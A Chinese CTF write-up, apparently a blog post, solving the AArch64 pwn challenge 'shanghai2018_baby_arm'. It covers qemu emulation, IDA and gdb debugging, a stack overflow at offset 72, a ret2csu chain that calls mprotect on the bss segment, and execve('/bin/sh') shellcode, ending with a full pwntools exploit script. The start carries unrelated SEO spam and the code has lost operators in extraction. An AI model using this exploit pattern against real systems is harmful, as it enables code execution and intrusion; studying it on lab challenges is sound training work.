中国网站开发的前景,赣州网站建设新闻,沈阳招标投标信息网,天府健康通二维码图片高清下载解题思路#xff1a;
泄露或修改内存数据#xff1a;
堆地址#xff1a;无需栈地址#xff1a;无需libc地址#xff1a;无需BSS段地址#xff1a;无需 劫持程序执行流程#xff1a;ARM_ROP mprotect函数(运行内存权限修改) [[ARM_ROP_csu_init]…解题思路
泄露或修改内存数据
堆地址无需栈地址无需libc地址无需BSS段地址无需 劫持程序执行流程ARM_ROP mprotect函数(运行内存权限修改) [[ARM_ROP_csu_init]] 获得shell或flagARM_Shellcode 利用shellcode获得shell
学到的知识
[[ARM_Pwn]] [[使用gdb动态调试异架构程序]] IDA远程调试异架构程序 ROPgadget的使用 ARM程序STP和LDP开辟栈帧恢复栈帧
题目信息
┌──(kali㉿kali)-[~/Desktop]
└─$ file ./shanghai2018_baby_arm_/shanghai2018_baby_arm
./shanghai2018_baby_arm_/shanghai2018_baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]e988eaee79fd41139699d813eac0c375dbddba43, stripped┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file./shanghai2018_baby_arm_/shanghai2018_baby_arm
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1./shanghai2018_baby_arm_/shanghai2018_baby_armlibc版本 wp借鉴(25条消息) ARM PWNShanghai2018_baby_arm详细讲解_hollk的博客-CSDN博客
运行ARM架构的程序
先测试运行一下,检测一下程序后会发现这是一个ARM架构的动态链接程序,所以模拟运行一下:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn
Name:hello
hello可以进行两次输入,由于题目还给出了两个ARM架构的libc文件所以也可以指定libc版本来运行arm程序 按照运行的报错就可以得出运行的目录需要改成lib文件夹下:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
qemu-aarch64: Could not open /lib/ld-linux-aarch64.so.1: No such file or directory┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
./pwn: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
需要将arm架构的libc文件移动程序下面这个文件结构就可以直接运行了
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ tree
.
├── lib
│ ├── ld-linux-aarch64.so.1
│ └── libc.so.6 ---(其实是改名后的libc.so_2.6)
└── pwn┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ ./pwn
Name:dasdsad
asdasdasd程序可用信息收集
在分析一下伪代码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{ssize_t len; // x0init_0(); // 初始化缓冲区write(1, Name:, 5uLL);len read(0, input1, 0x200uLL); vlun(len);return 0LL;
}
发现input1变量位于bss段
ssize_t vlun()
{__int64 v1; // [xsp10h] [xbp10h] BYREFreturn read(0, v1, 0x200uLL);
}发现变量V1存放在栈上但是该变量的长度小于可以向栈内写入的数据长度: read()函数允许向这块栈空间输入512个字节,大于0x48,所以该程序存在栈溢出漏洞!
获取可用的gadgets
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ ROPgadget --binary ./pwn gadgetsARM架构获取gadgets的方法:使用ROPgadget快速寻找arm64 pwn的rop链之ret2csu_如何找rop链-CSDN博客
查看可用函数:
开始利用漏洞
获取可利用的信息:
可在bss写入0x200个字节的数据存在一个输入实现栈溢出发现可用函数:mprotect
根据上面的可用信息就可有得出攻击路径了:
先向bss段写入shellcode再利用栈溢出劫持PC寄存器来调用gadgets调用mportect函数开启bss段的可执行权限最后在跳转到bss段执行shellcode代码
调试ARM程序开始分析
IDA远程调试ARM架构的程序
所需环境: linux:qemu,gdb windows:IDA
模拟执行时需要指定调试端口,23946是最好的:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn
Name:配置IDA: 配置好后直接在ida下个断点就可以开始调试!
选择附加后Linux里的程序才会开始运行:
GDB调试ARM架构的程序
使用qemu开启调试端口:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ qemu-aarch64 -L ./ -g 23946 ./pwn再次使用gdb-multiarch开启调试:
┌──(root㉿kali)-[/home/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─# gdb-multiarch
GNU gdb (Debian 15.1-1) 15.1
...
pwndbg set arch aarch64
The target architecture is set to aarch64.
pwndbg target remote 127.0.0.1:23946设置调试架构:
set arch aarch64链接远程端口:
target remote 127.0.0.1:23946成功调试:
Python的pwntools库调用gdb进行调试
一键调试脚本:
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser argparse.ArgumentParser(descriptionExploit script.)
parser.add_argument(-r, actionstore_true, helpRun exploit remotely.)
parser.add_argument(-d, actionstore_true, helpRun exploit in debug mode.)
args parser.parse_args()pwnfile ./pwn
elf ELF(pwnfile)
context(log_leveldebug, archelf.arch, oslinux)is_remote args.r
is_debug args.dif is_remote:sh remote(node5.buuoj.cn, 26456)
else:if is_debug:sh process([qemu-aarch64, -L, ./, -g, 1234, ./pwn])else:sh process([qemu-aarch64, -L, ./, ./pwn])def mygdb():if not is_remote and is_debug:gdb.attach(sh, target remote localhost:1234b *0x400838b *0x400808) # brva 0xe93 b *0x4008c0
mygdb()
sh.interactive()调试命令:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/shanghai2018_baby_arm]
└─$ python pwnexp.py -d
分析写入bss段的shellcode
查看pwntools生成的Shellcode: print(shellcraft.aarch64.sh())/* push b/bin///sh\x00 *//* Set x14 8299904519029482031 0x732f2f2f6e69622f */mov x14, #25135 /*0x622f*/ b/movk x14, #28265, lsl #16 /*0x6e69*/ nimovk x14, #12079, lsl #0x20 /*0x2f2f*/ //movk x14, #29487, lsl #0x30 /*0x732f*/ s/mov x15, #104 /*0x68*/ hstp x14, x15, [sp, #-16]!/* execve(pathsp, argv0, envp0) */add x0, sp, xzrmov x1, xzrmov x2, xzr/* call execve() */mov x8, #SYS_execvesvc 0shellcode解析: 第一部分就是将b/bin///sh\x00放入栈中,
mov x14, #25135 /*0x622f*/ b/
解释:mov将0x622f放入寄存器x14movk x14, #28265, lsl #16 /*0x6e69*/ ni
movk x14, #12079, lsl #0x20 /*0x2f2f*/ //
movk x14, #29487, lsl #0x30 /*0x732f*/ s/
解释:movk它允许你将某个立即数加载到寄存器的特定位位置上并保留寄存器的其他部分值。
movk 寄存器 , 立即数 , 算术操作 #操作位数
指定位置存放数据
b/ ni // s/
0~0x10 0x10~0x20 0x20~0x30 0x30~0x40mov x15, #104 /*0x68*/ hstp x14, x15, [sp, #-16]! 将x14,x15寄存器中的字符串放入栈中
解释:stp用于同时将两个寄存器的值存储到内存中sp 是栈指针Stack Pointer它指向当前堆栈的顶部。[sp, #-16]! 表示在存储数据之前栈指针 sp 会先减去 16 字节然后将数据存储在新位置上这就是后缀 ! 的含义它表示更新后的地址会写回到 sp 中。#-16 表示栈指针将向下移动 16 字节通常在 64 位架构中每个寄存器是 8 字节因此 16 字节可以存储两个寄存器的值。第二部分就是给函数传参:
/* execve(pathsp, argv0, envp0) */
add x0, sp, xzr
mov x1, xzr
mov x2, xzrARM架构的传参方式:x0~x7
寄存器:xzr就是0
这里就是传参:
参数一:add x0, sp, xzr
参数二:mov x1, xzr
参数三:mov x2, xzr第三部分就是调用系统调用了:
/* call execve() */
mov x8, #SYS_execve
svc 0ARM架构的系统调用号存放寄存器是x8,x8作为系统调用号的存放位置
svc 0 类似于syscall 开始构造栈溢出ROP
开始计算第二部分的溢出长度 一步步调试就可以找到溢出的位置: 查看溢出的偏移长度:
pwndbg cyclic 200 #可以生成一个长度200字节的字符串用来探测栈溢出目标的长度
pwndbg cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: bjaaaaaaa (hex: 0x6a61616161616161)
Found at offset 72 栈帧1是main函数的栈帧,栈帧2是main函数里面的函数调用产生的栈帧,发现返回地址存放在栈顶位置
开始伪造恶意栈帧
先了解arm程序的栈帧构造的汇编代码:
STP X29, X30, [SP,#var_50]! --开辟栈帧 0x50 并且保存 X29(栈帧地址)和X30(函数返回地址)
MOV X29, SP
...
LDP X29, X30, [SP0x50var_50],#0x50 --恢复栈帧 0x50 将栈顶的两个值恢复到x29 和x30并更新栈指针SP。
RETx29 是帧指针寄存器。x30 是返回地址寄存器即 LR链接寄存器。STP 将寄存器中的值存储到栈顶LDP 将栈顶的两个值恢复到 x29 和 x30并更新栈指针 SP。RET从 LR 寄存器中读取返回地址并跳回。
我们需要的恶意栈帧需要实现的功能调用mprotect函数开启bss段的权限然后再跳转到bss段执行shellcode,首先找到两段gadget: 这段gadget主要是将需要的参数传递给不同的寄存器:x19,x20,x21,x22,x23,x24
0x00000000004008cc :
ldp x19, x20, [sp, #0x10] ; 将sp0x10处数据给x19sp0x18处数据给x20
ldp x21, x22, [sp, #0x20] ; 将sp0x20处数据给x21sp0x28处数据给x22
ldp x23, x24, [sp, #0x30] ; 将sp0x300处数据给x23sp0x38处数据给x24
ldp x29, x30, [sp], #0x40 ; 将sp处数据给x29sp0x8处数据给0x30 sp寄存器0x40
ret这段gadget可以实现两次任意函数调用:
0x00000000004008ac :
ldr x3, [x21, x19, lsl #3] ; 从地址 [x21 x19 3] 处加载值到 x3x21 基址 x19 的左移 3 位乘法偏移用于取函数地址
mov x2, x22 ; 将寄存器 x22 的值复制到寄存器 x2
mov x1, x23 ; 将寄存器 x23 的值复制到寄存器 x1
mov w0, w24 ; 将寄存器 w24 的值复制到寄存器 w0
add x19, x19, #1 ; 将 x19 加 1可能用于循环计数
blr x3 ; 跳转并链接到 x3 存储的地址处调用函数
cmp x19, x20 ; 比较 x19 和 x20 的值可能用于判断循环结束
b.ne loc_4008AC ; 如果 x19 和 x20 不相等则跳转到 0x4008AC形成循环我们的payload:
payload2 ba*overlen p64(csu_down)
payload2
baaaaapwn p64(csu_up) p64(0) x19p64(1) x20p64(save_mprotect) x21p64(0x7) x22p64(0x1000) x23p64(0x411000) x24baaaaapwn p64(save_shellcode)第一次调用:
ldr x3, [x21, x19, lsl #3] ; 必须将mprotect_plt的地址写到bss段,因为这里读取的数据方式是指针,只有这样才可以将 mprotect的函数地址写入x3
mov x2, x22 ; 将寄存器 x22 的值复制到寄存器 x2 参数3
mov x1, x23 ; 将寄存器 x23 的值复制到寄存器 x1 参数2
mov w0, w24 ; 将寄存器 w24 的值复制到寄存器 w0 参数1
add x19, x19, #1 ; 将 x19 加 1可能用于循环计数
blr x3 ; 跳转并链接到 x3 存储的地址处调用函数 等于x86的call指令成功调用权限开启函数: 运行后可以根据函数的返回值判断是否调用成功!X0是返回值的存放寄存器,返回值是0就代表函数调用成功,如果是-1(也就是0xffffffffffffffff)就代表函数调用失败
执行完成后又会经过判断,这里经过精心构造就不会进行跳转,继续进行下一步 0x4008c4 cmp x19, x20 0x4008c8 b.ne #0x4008ac 0x4008ac► 0x4008cc ldp x19, x20, [sp, #0x10] 0x4008d0 ldp x21, x22, [sp, #0x20]0x4008d4 ldp x23, x24, [sp, #0x30]0x4008d8 ldp x29, x30, [sp], #0x40 在这里将会将栈帧中的值写入x30,这样ret时候就可以跳转到任意地址 0x4008dc ret
继续执行后就会跳转到shellcode的位置:0x411070
将6个需要的参数放置到x19,x20,x21,x22,x23,x24 成功构造出恶意栈帧:
最后开始执行shellcode:
成功执行:
思路整理
本体存在两个输入,第一个输入可以向bss段写入数据,第二个输入可以实现栈溢出. 再分析题目时候发现存在mportect函数可以开启bss的执行权限,由于arm程序没有和pop和push一样的指令来连续调用函数,所以采用ARM架构下的csu_init的gadget(和x86的一样只是使用arm指令完成的),所以利用这个gadget可以实现两次调用! 第一次调用mprotect函数开启shellcode的可执行权限,再跳转到shellcode代码处!
脚本
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser argparse.ArgumentParser(descriptionExploit script.)
parser.add_argument(-r, actionstore_true, helpRun exploit remotely.)
parser.add_argument(-d, actionstore_true, helpRun exploit in debug mode.)
args parser.parse_args()pwnfile ./pwn
elf ELF(pwnfile)
context(log_leveldebug, archelf.arch, oslinux)is_remote args.r
is_debug args.dif is_remote:sh remote(node5.buuoj.cn, 26456)
else:if is_debug:sh process([qemu-aarch64, -L, ./, -g, 1234, ./pwn])else:sh process([qemu-aarch64, -L, ./, ./pwn])def mygdb():if not is_remote and is_debug:gdb.attach(sh, target remote localhost:1234b *0x400854) # brva 0xe93 b *0x4008c0mprotect_plt elf.plt[mprotect]
csu_down 0x4008CC
csu_up 0x4008AC
overlen 72
save_mprotect 0x411068
save_shellcode 0x411068 0x8
shellcode asm(shellcraft.aarch64.sh())
mygdb()
payload1 p64(mprotect_plt) shellcode
sh.sendafter(Name:,payload1)payload2 ba*overlen p64(csu_down)
payload2 baaaaapwn p64(csu_up) p64(0) p64(1)
payload2 p64(save_mprotect) p64(0x7) p64(0x1000) p64(0x411000)
payload2 baaaaapwn p64(save_shellcode)sh.send(payload2)sh.interactive()